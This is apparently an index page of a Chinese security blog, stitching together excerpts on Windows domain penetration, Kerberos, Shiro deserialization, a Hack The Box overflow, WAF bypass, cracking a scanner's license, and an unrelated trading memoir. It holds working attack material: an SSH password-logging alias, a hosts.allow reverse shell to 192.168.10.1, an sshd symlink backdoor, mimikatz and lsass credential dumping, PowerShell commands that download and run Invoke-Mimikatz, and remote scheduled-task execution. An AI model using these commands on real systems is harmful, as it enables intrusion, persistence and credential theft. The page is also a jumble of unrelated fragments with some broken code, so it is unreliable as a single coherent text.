AresX's Blog

关于net use和psexec无法使用本地管理员组用户建立连接的问题

IPC Access Deined

环境:

1
2
3
4
5
win7系统，存在域环境
域名：de1ay
普通域用户: de1ay\de1ay
域管理员用户：de1ay\Administrator
本地管理员用户: de1ay

当我尝试使用域用户de1ay\de1ay和本地管理员组的用户de1ay使用psexec连接目标Windows服务器执行命令时返回了拒绝访问

并且在使用net use建立IPC连接的时候返回了Access Denied

由图可见唯一成功的是使用域管用户de1ay\Administrator成功获取到cmd

可见de1ay属于本地管理员组，同时也存在域用户de1ay/de1ay

并且确定ADMIN$目录开启了共享

了解到Psexec是借助的IPC连接执行命令，那么尝试使用上面两组用户名进行IPC连接

某公司遭到竞争对手的渗透，大量公司员工账号被盗，公司领导瑟瑟发抖，因为现在不知道聊天窗对面是自己的员工还是竞争对手，在这种情况下怎么来保证员工和老板间的对话是安全并且互相可信的呢？

这时候就引入了一个第三者，HR，由于公司施行工资保密制度，员工之间不知道彼此工资的具体数字，但是HR知道全公司员工的工资数字，现在假定每个员工的工资都是不同的，我们用员工，老板，和HR来完成一个安全可信的加密机制，(假定HR是可信任的)

员工，老板和HR便是Kerberos认证中的三个角色

俗称地狱三头犬

那么继续说，公司目前处在这样一个人与人之间毫无信任可言的情况下，还是要继续运转

某天，员工张二狗需要从老板大黄那里取得一份公司机密信息，但是如果二狗直接给老板发消息索要信息，那老板肯定不会给他，因为公司聊天工具里的人现在都是不可信任的，二狗不知道网线那边是不是真的老板，老板也不知道给自己发消息的是不是真的二狗，这时候就尴尬了

然后这时，聪明的老王出现了，老王是个国外读了10年本科的密码学砖家，他就给公司提出来一套流程，鉴于目前大家都没有办法确定某个人就是某个人，那么我们来用密码学的手段确定彼此的身份吧

这个流程是什么呢，如果二狗想给老板发消息，就要先通过HR来确定二狗就是二狗，怎么确定呢，二狗知道自己的工资，HR也知道二狗的工资，那么二狗就先给HR发个消息，我要找老板谈话，帮我弄个身份鉴定证书吧，但是二狗不能直接找HR要这个鉴定证书，因为二狗要先证明二狗就是二狗本人

于是二狗先给HR发了个消息，我是二狗，我要证明我就是二狗！

反射机制的定义和应用

废话看不懂系列:

JAVA反射机制是在运行状态中，对于任意一个类，都能够知道这个类的所有属性和方法；对于任意一个对象，都能够调用它的任意一个方法

Java反射机制可以无视类方法、变量访问权限修饰符，可以调用任何类的任意方法、访问并修改成员变量值。也就是说只要发现一处Java反射调用漏洞几乎就可以为所欲为了。当然前提可能需要你能控制反射的类名、方法名和参数。

反射的应用:

ide 自动提示功能,对象（提示属性，方法）–通过反射机制知道的
servlet ->程序员定义->配置文件中的配置->tomcat创建->配置文件信息->类的全路径->tomcat可以根据类的完整名称创建对象

反射可以根据一个字符串（类的全路径） 创建一个类的对象
如在程序中，使用反射技术，程序可以从配置文件中读取配置（字符串：类的全路径）然后动态创建该对象，只需修改配置文件，即可更改创建的对象，而不用写死在代码中

人话能看懂系列:

这里有个类 Car

1
2
3
4
5
public class Car{
public void run(){
return NULL;
}
}

Backdoor

alias后门 ssh密码记录

1
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh’

后门将终端的输入输出（输入的ssh地址账号密码）和连接信息保存到/tmp/sshpwd-日期.log中

1
cat /tmp/sshpwd-xxx.log

Tcp Wrapper

1
echo ‘ALL: ALL: spawn (bash -c “/bin/bash -i >& /dev/tcp/192.168.10.1/37789 0>&1”) & :allow’ > /etc/hosts.allow

ssh 连接目标可触发后门回连

软链接SSH后门

1
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337

Windows认证机制

阅读本文前需要补充的知识：域的基本概念，域环境与工作组环境的区别

何谓域渗透，域渗透就是基于windows域环境的渗透，而域渗透设计到的技术，如哈希传递（PTH）票据传递（PTT）委派攻击等，都是基于域环境下的认证机制来实现的，这也是为什么要了解Windows认证机制的原因之一

Windows的认证包括三个部分，用户直接操作计算机登陆账户（本地认证），远程连接到工作组中的某个设备（网络认证），登陆到域环境中的某个设备（域认证）

本地认证

本地认证十分简单：用户输入密码，系统收到密码后将用户输入的密码计算成NTLM Hash，然后与sam数据库（%SystemRoot%\system32\config\sam）中该用户的哈希比对，匹配则登陆成功，不匹配则登陆失败

这里提到的NTLM哈希，是一种单向哈希算法，Windows将用户的密码计算成NTLM哈希之后才存储在电脑中，对于这个概念一定要牢牢记住，因为后面NTLM Hash会经常出现

大致的运算流程为：

1
用户密码->HEX编码->Unicode编码->MD4

用python计算密码’admin’的NTLM哈希：

域渗透学习（一）Windows身份认证

Kerberos认证协议

上一篇提到了域内身份认证是采用的Kerberos协议，那么具体的认证流程是怎样的？

需要了解的几个概念

• KDC(Key Distribution Center):密钥分发中心，里面包含两个服务：AS和TGS
• AS(Authentication Server):身份认证服务
• TGS(Ticket Granting Server):票据授予服务,该服务提供的票据也称为 TGS 或者叫白银票据
• TGT(Ticket Granting Ticket):由身份认证服务授予的票据(黄金票据)，用于身份认证，存储在内存，默认有效期为10小时

关于下文需要记住的一些点

Client 密钥 TGS密钥 和 Service 密钥 均为对应用户的NTLM Hash

TGS密钥 == KDC Hash == krbtgt用户的NTLM Hash，这几个可能有时候叫法不一样但是是一个东西

Server 和 Service 也可以当作一个东西，就是Client想要访问的服务器或者服务

Client/(TGS/Server) Sessionkey 可以看作客户端与TGS服务和尝试登陆的Server之间会话时用来加密的密钥，而(Client/TGS/Service)密钥(上面提到的三个实际为NTLM Hash的密钥)是用来加密会话密钥的密钥，为了保证会话密钥的传输安全，这些加密方式均为对称加密

域渗透学习（一）Windows认证机制
域渗透学习（二）Kerberos协议

域内信息搜集

目标：判断域环境，定位域控制器的IP地址，获取域内其他成员机器的信息

DOS命令1
net time /domain

通过查询时间服务器判断是否存在域

一般时间服务器就是域控机器，可以ping获取其IP

1
ipconfig /all

域渗透学习（一）Windows认证机制
域渗透学习（二）Kerberos协议
域渗透学习（三）域内信息搜集

Dump Password & Hash

目的：获取windows用户密码或者Hash，用于远程登录域内其他机器，或进行后续的哈希传递和票据传递攻击

mimikatz

• 注册表读密码

• 1
  2
  reg save HKLM\SYSTEM C:\windows\temp\Sys.hiv
  reg save HKLM\SAM C:\windows\temp\Sam.hiv
  1
  2
  3
  4
  privilege::debug
  sekurlsa::logonpasswords
  # mimikatz运行解密命令
  lsadump::sam /sam:Sam.hiv /system:Sys.hiv
  

• 内存读取密码

  1
  mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit
  

  或者使用procdump来绕过杀软对mimikatz拦截

  1
  2
  3
  4
  procdump.exe -accepteula -ma lsass.exe c:\windows\temp\lsass.dmp
  # mimikatz运行解密命令
  mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"
  
  

Powershell调用

• mimikatz

  1
  powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
  

• nishang

  1
  powershell IEX (New-Object Net.WebClient).DownloadString(‘https://github.com/samratashok/nishang/blob/master/Gather/Get-PassHashes.ps1');Get-PassHashes
  

MSF

• mimikatz模块

  1
  2
  3
  load mimikatz
  wdigest //获取明文密码
  msv //获取所有Hash
  

  
  

• hashdump

  1
  hashdump
  

WCE

域渗透学习（一）Windows认证机制
域渗透学习（二）Kerberos协议
域渗透学习（三）域内信息搜集
域渗透学习（四）Dump Password & Hash

基于IPC的远程连接

windows默认情况下开启的共享:

当我们获取到可用于远程管理的账户时候，便可通过对ADMIN$目录建立IPC连接的方式远程连接到工作组或域内其他计算机，获取目标机器的控制权限

1
2
3
4
5
6
net use \\192.168.10.2 /u:domainname\administrator password 建立ipc连接
net use \\192.168.10.2 /de /y 删除ipc连接
net view \\192.168.10.2 查看共享目录
net view \\192.168.10.2\c$\users 列出指定目录文件
copy nbtscan.exe \\192.168.10.2\C$\windows\temp\ 复制文件
copy \\192.168.10.2\C$\windows\temp\hash.txt 下载文件

这里需要注意只能使用被添加到远程计算机管理员组的域用户来远程连接，具体原因参考关于IPC连接和Psexec的用户权限问题

即默认情况下只有域管用户有权限对admin$目录建立IPC连接，其实本地的Administrator用户也可以，但是默认情况下该用户是被禁用的，如果启用了该用户，那么也可以使用Administrator用户远程连接

计划任务执行命令1
2
3
schtasks /create /tn task1 /U 域\域用户 /P 域用户密码 /tr 命令 /sc ONSTART /s 域机器ip /RU system
schtasks /run /tn task1 /s 192.168.10.2 /U 域/域用户 /P 域用户密码
schtasks /F /delete /tn task1 /s 域机器ip /U 域\域用户 /p 域用户密码

域渗透学习（一）Windows认证机制
域渗透学习（二）Kerberos协议
域渗透学习（三）域内信息搜集
域渗透学习（四）Dump Password & Hash
域渗透学习（五）基于IPC的远程连接

PTH 哈希传递攻击

在前文Windows认证机制(网络认证 Net NTLM)章节中可以了解到，在获取了目标机器用户的NTLM Hash的情况下，可无需破解哈希直接使用目标的NTLM Hash来完成身份验证

哈希提取请参考域渗透学习（四）DUMP PASSWORD & HASH

如这里获取到的NTLM Hash 4d01fbeeaf2b706478943e0889df5622

可完成Pass The Hash的工具：

注意，PTH仍然是基于IPC远程连接实现的，所以关于账户权限，与 域渗透学习（五）基于IPC的远程连接 中提到的相同

具体参考：关于IPC连接和Psexec的用户权限问题

impacket

域渗透学习（一）Windows认证机制
域渗透学习（二）Kerberos协议
域渗透学习（三）域内信息搜集
域渗透学习（四）Dump Password & Hash
域渗透学习（五）基于IPC的远程连接
域渗透学习（六）PTH 哈希传递攻击

PTT 票据传递攻击

复习: 域渗透学习（二）Kerberos协议

白银票据(Silver Tickets)

特点:

• 无需与KDC交互
• 需要目标Server的NTLM Hash

在前文kerberos认证中的Ticket的组成:

1
Ticket=Server Hash(Server Session Key+Client info+End Time)

当拥有Server(Service) Hash时，我们就可以伪造一个不经过KDC认证的一个Ticket。
Server Session Key在未发送Ticket之前，服务器是不知道Server Session Key是什么的。 所以，一切凭据都来源于Server Hash。

获取Server Hash

起因：利用ms14-068提权漏洞时尝试使用impacket工具包中的goldenPac模块来直接获取域控shell

使用途中出现报错Attempted "__iter__" operation on ASN.1 schema object

1
2
3
4
5
6
7
C:\Users\leo\Desktop>goldenPac.exe sun.com/leo:[email protected]
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] User SID: S-1-5-21-3388020223-1982701712-4030140183-1110
[*] Forest SID: S-1-5-21-3388020223-1982701712-4030140183
[*] Attacking domain controller DC.sun.com
[-] Attempted "__iter__" operation on ASN.1 schema object

起初怀疑是打包的exe运行环境有问题，搭建代理进内网，使用proxychains代理goldenPac.py 仍出现该错误

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
aresx@XXXXXXXXXX:/mnt/e$ proxychains goldenPac.py sun.com/leo:[email protected]
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.14
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[proxychains] Strict chain ... 192.168.10.134:33080 ... sun.com:445 ... OK
[*] User SID: S-1-5-21-3388020223-1982701712-4030140183-1110
[proxychains] Strict chain ... 192.168.10.134:33080 ... sun.com:445 ... OK
[proxychains] Strict chain ... 192.168.10.134:33080 ... sun.com:445 ... OK
[*] Forest SID: S-1-5-21-3388020223-1982701712-4030140183
[proxychains] Strict chain ... 192.168.10.134:33080 ... sun.com:135 ... OK
[proxychains] Strict chain ... 192.168.10.134:33080 ... sun.com:49155 ... OK
[*] Attacking domain controller DC.sun.com
[proxychains] Strict chain ... 192.168.10.134:33080 ... DC.sun.com:88 ... OK
[proxychains] Strict chain ... 192.168.10.134:33080 ... DC.sun.com:88 ... OK
[proxychains] Strict chain ... 192.168.10.134:33080 ... DC.sun.com:88 ... OK
[proxychains] Strict chain ... 192.168.10.134:33080 ... DC.sun.com:88 ... OK
[-] Attempted "__iter__" operation on ASN.1 schema object

谷歌一顿猛搜，发现在其他的开源项目中也有人提过这个错误的issue，原因是pyasn1库的bug，然后参考一个使用低版本pyasn1库的解决方案

pip list 确定了当前安装的pyasn1版本为0.4.8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
aresx@XXXXXXXXXX:/mnt/e$ pip list
Package Version
----------------------------- --------
args 0.1.0
asn1crypto 0.24.0
atomicwrites 1.1.5
attrs 18.2.0
backports.functools-lru-cache 1.5
beautifulsoup4 4.7.1
certifi 2019.3.9
cffi 1.14.0
chardet 3.0.4
Click 7.0
clint 0.5.1
colorama 0.4.1
configparser 3.5.0b2
contextlib2 0.5.5
crackmapexec 3.1.5
cryptography 2.8
dirhunt 0.6.0
distorm3 3.4.1
dnspython 1.16.0
entrypoints 0.3
enum34 1.1.6
et-xmlfile 1.0.1
Flask 1.1.1
funcsigs 1.0.2
future 0.18.2
pathlib2 2.3.5
Pillow 6.2.1
pip 18.1
pluggy 0.13.0
proxy-db 0.2.3
py 1.8.1
py2-ipaddress 3.4.1
pyasn1 0.4.8

卸载，安装低版本0.4.5

学习java怎么能不装模作样的调试一下代码呢，以Shiro为例，漏洞环境最方便的是Vulhub这种漏洞靶场打包好的docker镜像，手上又没有构建docker时的代码，咋调试呢？

代码获取

新建一个空项目

漏洞环境的代码需要从docker中拖出来，以shiro为例，启动之后docker exec -it xxx /bin/bash 进入容器，找到漏洞环境的程序

可见漏洞环境被打包成了jar，然后通过java -jar启动的，那么把shirodemo-1.0-SNAPSHOT.jar 复制出来，就获取了漏洞环境的全部内容

1
docker cp a7:/shirodemo-1.0-SNAPSHOT.jar ./
还原代码

调试代码需要本地拥有代码文件，jar可以作为Library添加到项目，然后idea会自动将class还原成代码，但是添加之后发现jar中的lib目录还有jar，这里面引入的jar无法再次作为Library添加，所以看不到其中的代码

可以直接将jar解压到项目根目录

Shiro反序列化 Xray6个tomcat回显Gadget Payload提取

Xray新版本支持了shiro反序列化的检测，前提是拥有高级版License

对于shiro反序列化的检测首先会使用默认key尝试6个回显Gadget，然后尝试使用连平台，全部失败之后会尝试内置的100个key进行爆破

有价值的就是那6个支持tomcat全版本回显的Payload了

设置xray通过burp代理发送流量，然后修改配置文件中的http和tcp超时都为2秒

启动拦截器后放行第一个检测是否使用Shiro的请求之后开启拦截，等待扫描进程结束，可以在HTTP History中看到检测使用的Payload，多次拦截并按顺序Drop修改返回包头部包含检测的Testecho内容，就可以找到该payload对应的gadget

分别是CommonsCollections1 CommonsCollections2 CommonsBeanutils1 CommonsBeanutils2 Jdk7u21 Jdk8u20

获取到Payload之后解密然后base64保存，可以方便在没有使用默认key需要改key的情况中的使用

提取之后的Payload在下面的脚本里

https://github.com/Ares-X/shiro-exploit.git

Shiro 高版本加密方式下的漏洞利用加密方式的变化

Shiro高版本加密方式从AES-CBC换成了AES-GCM，由于加密算法的变化导致用于攻击shiro-550的exp无法试用于新版Shiro

加密模式的变化发生在针对Oracle Padding Attack的修复，1.4.2版本更换为了AES-GCM加密方式

高版本的加密解密调用了AesCipherService：

1
2
3
4
5
6
7
8
9
10
11
12
private byte[] cipherKey;
private CipherService cipherService = new AesCipherService();

public byte[] encrypt(byte[] serialized) {
ByteSource byteSource = cipherService.encrypt(serialized, cipherKey);
return byteSource.getBytes();
}

public byte[] decrypt(byte[] encrypted) {
ByteSource byteSource = cipherService.decrypt(encrypted, cipherKey);
return byteSource.getBytes();
}

AesCipherService 中设定的加密方式为AES-GCM，Padding为None

GCM模式下，补位信息是完全不需要考虑的，明文与密文有着相同的长度

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class AesCipherService extends DefaultBlockCipherService {
private static final String ALGORITHM_NAME = "AES";

public AesCipherService() {
super("AES");
this.setMode(OperationMode.GCM);
this.setStreamingMode(OperationMode.GCM);
this.setPaddingScheme(PaddingScheme.NONE);
}

protected AlgorithmParameterSpec createParameterSpec(byte[] iv, boolean streaming) {
return (AlgorithmParameterSpec)((!streaming || !OperationMode.GCM.name().equals(this.getStreamingModeName())) && (streaming || !OperationMode.GCM.name().equals(this.getModeName())) ? super.createParameterSpec(iv, streaming) : new GCMParameterSpec(this.getKeySize(), iv));
}
}
加密解密实现

Docsify auto generate sidebar.md

2026-10-01 更新：本站 Wiki 已改为由 Hexo 的 scripts/wiki-data.js 在构建时从本地 Markdown 生成文章目录和搜索索引。新增文章后在博客根目录执行 npm run build 即可更新侧栏与搜索，现有 source/wiki/sidebar.sh 只维护四个查询入口。下文保留 2021 年的完整侧栏方案供参考，不要用它覆盖本站新版脚本；产品/CVE/指纹的 Markdown 索引页目前仍需单独同步。

项目结构1
2
3
4
5
6
╰─➤ ls -l
total 408
drwxr-xr-x 9 aresx staff 288 2 20 11:50 VulWiki
-rw-r--r--@ 1 aresx staff 140136 2 20 11:51 _sidebar.md
-rw-r--r--@ 1 aresx staff 1895 11 3 23:49 index.html
-rwxr-xr-x 1 aresx staff 1025 10 16 13:30 sidebar.sh
sidebar.sh

复制到index.html 同级目录下执行

注意：修改25行root_dir 中的目录为存储Markdown文件的目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/bin/bash
IFS=$(echo -en "\n\b")
function getdir(){
for element in `ls -1 $1`
do
dir_or_file=$1"/"$element
counter=`echo $dir_or_file | grep -o / | wc -l`
let counter-=2
if [ -d $dir_or_file ] ;
then

printf '%0.s ' $(seq 0 $counter) >> _sidebar.md
echo "- $element" >> _sidebar.md
getdir $dir_or_file
else
echo $dir_or_file
printf '%0.s ' $(seq 0 $counter) >> _sidebar.md
path=`echo $dir_or_file| sed "s/[ ]/%20/g" | sed "s/[+]/%2B/g"`
title=`echo $element | sed "s/.md//"`
echo "- [$title](./$path)" >> _sidebar.md
fi
done
}

root_dir=`ls -d VulWiki/*/`
#root_dir=`ls -d */ "$1/VulWiki" | sed 's/\///g'`
:> _sidebar.md
for dir in $root_dir
do
if [ "$dir" = "." ]
then
continue
else
C1=`echo $dir | cut -f2 -d '/'`
echo "- $C1" | cut -f2 -d '/' >> _sidebar.md
getdir `echo $dir | sed s'/.$//'`
fi
done

脚本会依次递归扫描root_dir下的目录中的所有Markdown文件

1
2
╰─➤ ls -d VulWiki/*/
VulWiki/IOT安全/ VulWiki/Web安全/ VulWiki/系统安全/

HTB - You know 0xDiablosChecksec1
2
3
4
5
6
7
8
➜ You know 0xDiablos checksec vuln
[*] '/mnt/hgfs/aresx/pwn/htb/You know 0xDiablos/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
Fuzz1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
➜ You know 0xDiablos cyclic 500 > out
➜ You know 0xDiablos gdb-gef --ex run ./vuln < out
Reading symbols from ./vuln...
(No debugging symbols found in ./vuln)
GEF for linux ready, type `gef' to start, `gef config' to configure
92 commands loaded for GDB 9.1 using Python engine 3.8
Starting program: /mnt/hgfs/aresx/pwn/htb/You know 0xDiablos/vuln
You know who are 0xDiablos:
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae

Program received signal SIGSEGV, Segmentation fault.
0x62616177 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0x1f5
$ebx : 0x62616175 ("uaab"?)
$ecx : 0xffffffff
$edx : 0xffffffff
$esp : 0xffffd370 → "xaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaacka[...]"
$ebp : 0x62616176 ("vaab"?)
$esi : 0xf7fb3000 → 0x001e9d6c
$edi : 0xf7fb3000 → 0x001e9d6c
$eip : 0x62616177 ("waab"?)
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd370│+0x0000: "xaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaacka[...]" ← $esp
0xffffd374│+0x0004: "yaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaacla[...]"
0xffffd378│+0x0008: "zaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacma[...]"
0xffffd37c│+0x000c: "baaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacna[...]"
0xffffd380│+0x0010: "caacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoa[...]"
0xffffd384│+0x0014: "daaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpa[...]"
0xffffd388│+0x0018: "eaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqa[...]"
0xffffd38c│+0x001c: "faacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacra[...]"
──────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x62616177
──────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "vuln", stopped 0x62616177 in ?? (), reason: SIGSEGV
────────────────────────────────────────────────────────────────────────────────────────── trace ────
─────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ quit
Find offset

• eip

1
➜ You know 0xDiablos cyclic -l 0x62616177188

• esp

1
2
➜ You know 0xDiablos cyclic -l xaab
192

SSL Fingerprint and Bypass

之前搞某个网站发现使用不同客户端发起请求会有不同的响应结果，就很神奇

Python 403 Burp 200?

先看两个不同客户端发起的请求结果

Burp

Python3 Requests

同样的请求复制到python3中用requests发包:

1
2
3
4
5
6
7
8
9
10
11
12
13
<body data-spm="7663354">
<div data-spm="1998410538">
<div class="header">
<div class="container">
<div class="message">
很抱歉，由于您访问的URL有可能对网站造成安全威胁，您的访问被阻断。
<div>您的请求ID是: <strong>
276aedd416186716424122798e3951</strong></div>
</div>
</div>
</div>
<div class="main">
<div class="container">

一样的请求地址一样的参数一样的http header，burp发送的请求正常响应，python发送的被waf拦截，curl模拟请求也被拦截

Write this blog due to Xray was EOL. Last version 1.9.11.

1. Patching Walkthrough for x86

1. run program

1
2
./xray_darwin_amd64
this license is expired, expiration time is 2022-08-03 08:00:00

1. find and locate string

1
2
3
4
00000000: 74 68 69 73 20 6c 69 63 65 6e 73 65 20 69 73 20 this license is
00000010: 65 78 70 69 72 65 64 2c 20 65 78 70 69 72 61 74 expired, expirat
00000020: 69 6f 6e 20 74 69 6d 65 20 69 73 20 25 73 ion time is %s

1. find references

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
04f92ba3 e838fdffff call sub_4f928e0
04f92ba8 440f11bc24980000…movups xmmword [rsp+0x98 {var_48}], xmm15
04f92bb1 e8eabf07ff call sub_400eba0
04f92bb6 488d0dc3d46800 lea rcx, [rel data_5620080]
04f92bbd 48898c2498000000 mov qword [rsp+0x98 {var_48}], rcx {data_5620080}
04f92bc5 48898424a0000000 mov qword [rsp+0xa0 {var_48+0x8}], rax
04f92bcd 488d05657aab00 lea rax, [rel data_5a4a639] {"this license is expired, expirat…"}
04f92bd4 bb2e000000 mov ebx, 0x2e
04f92bd9 488d8c2498000000 lea rcx, [rsp+0x98 {var_48}]
04f92be1 bf01000000 mov edi, 0x1
04f92be6 4889fe mov rsi, rdi {0x1}
04f92be9 e8d21417ff call sub_41040c0
04f92bee 4889d9 mov rcx, rbx {0x2e}
04f92bf1 4889c3 mov rbx, rax
04f92bf4 31c0 xor eax, eax {0x0}
04f92bf6 488bac24d8000000 mov rbp, qword [rsp+0xd8 {__saved_rbp}]
04f92bfe 4881c4e0000000 add rsp, 0xe0
04f92c05 c3 retn {__return_addr}

04f92ba3 was jumped from 04f92a26

1
2
3
04f92a1f 488b5838 mov rbx, qword [rax+0x38]
04f92a23 4839fb cmp rbx, rdi
04f92a26 0f8c77010000 jl 0x4f92ba3

时间范围：2026-05-12 至 2026-07-29
写作定位：这不是开发日志，也不是提交记录。它是一份面向分享的回忆录：记录一个交易想法如何从两篇 X 文章，变成一套越来越严肃、越来越不敢轻易相信自己的量化系统。
AI 协作说明：这份回忆录由 AI 协助我整理、追问和写作，用来记录我从交易想法出发，逐步构建、怀疑、修正一套量化系统的过程。里面的判断、取舍和反思来自项目推进中的真实证据与对话复盘，AI 主要承担梳理脉络、改写表达和补齐遗漏的工作。

更新原则：这份文档以后会不定期更新，但不会按“今天改了哪个文件”继续堆流水账。

每次更新优先记录四件事：

• 当时我以为什么是对的。
• 后来系统或数据如何证明我想简单了。
• 我做了什么决定，为什么没有选另一条路。
• 这个决定留下了什么结果、教训或新的风险。

具体代码、命令、回测数字仍会保留，但放在章节中的证据段或附录里。正文要尽量像一篇可以给别人看的长文，而不是一份工作汇报。

第一幕：第一条权益曲线太好看了

这一幕写的是最早那种危险的兴奋感：两篇 X 文章、一套看起来很合理的交易框架、几条很快能跑起来的命令，以及第一条漂亮到让人愿意相信它的权益曲线。

那时我还没有真正理解，交易系统最会骗人的地方不是它跑不起来，而是它太快给你一个像答案的东西。第一幕的主线，就是从“策略好像有了”走到“数字开始互相打架”。

序章：最开始只是两篇文章

这个项目真正的开始，不是一个仓库，也不是一个数据库——而是我一次过于自信的“来都来了”。